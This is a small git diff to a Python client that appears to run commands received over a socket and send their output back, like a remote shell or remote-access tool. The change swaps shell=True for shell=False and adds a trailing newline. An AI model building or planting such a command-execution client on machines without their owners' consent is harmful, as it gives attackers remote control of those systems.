diff --git a/client/client.py b/client/client.py index 1381024..6e181f0 100644 --- a/client/client.py +++ b/client/client.py @@ -108,11 +108,11 @@ def show_popup(title, message): elif command != "": - proc = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) + proc = subprocess.Popen(command, shell=False, stdout=subprocess.PIPE, stderr=subprocess.PIPE) output, error = proc.communicate() if error != b"": error_response() elif "cd" in command: s.send(f"Changed directory to: {os.getcwd()}".encode("utf-8")) else: - s.send(output) \ No newline at end of file + s.send(output)